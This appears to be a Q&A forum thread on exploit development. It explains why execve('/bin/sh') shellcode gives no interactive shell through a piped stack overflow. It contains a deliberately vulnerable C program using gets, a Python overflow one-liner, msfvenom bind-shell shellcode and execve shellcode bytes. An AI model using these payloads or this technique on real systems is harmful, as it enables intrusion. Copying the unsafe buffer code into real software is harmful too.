5

Trying to learn more about exploit dev and building shellcodes, but ran into an issue I don't understand the reason behind.

Why am I not able to run a shellcode such as execve("/bin/sh") and spawn a shell I can interact with? While on the other hand, I'm able to create a reverse / bind_tcp shell and connect to it with netcat.

Sample program:

// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack

#include <stdio.h>
#include <string.h>

void test() {
    char pass[50];
    printf("Password: ");
    gets(pass);
    if (strcmp(pass, "epicpassw0rd") == 0) {
        printf("Woho, you got it!\n");
    }
}

int main() {
    test();
    __asm__("movl $0xe4ffd4ff, %edx");  // jmp esp, call esp - POC
    return(0);
}

Sample Exploit:

python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln

Sample Payload (working):

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" -f python
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

Tested multiple different execve("/bin/sh") samples, as well as creating my own, then compiled them to verify they work before using it as payload.

Such as: https://www.exploit-db.com/exploits/42428/

1 Answer 1

4

When the shellcode execve(/bin/sh) executes, it has no connected standard input (because of GETS) and will terminate.

The solution is to close stdin descriptor, reopen /dev/tty before executing /bin/sh.

#include <unistd.h>
#include <stdio.h>
#include <sys/fcntl.h>

int main(void) {
    char buf[50];
    gets(buf);
    printf("Yo %s\n", buf);
    close(0);
    open("/dev/tty", O_RDWR | O_NOCTTY);
    execve ("/bin/sh", NULL, NULL);
}

Related answer: execve("/bin/sh", 0, 0); in a pipe

It is also possible to execute the payload by using

( python -c "print 'A'*62 + '\x35\x56\x55\x56' + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat ) | ./vuln
1
  • Sorry to trouble you, but would you mind explaining what your payload is doing? It's a little troublesome to have to look the opcodes up. Aug 27, 2020 at 3:56

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.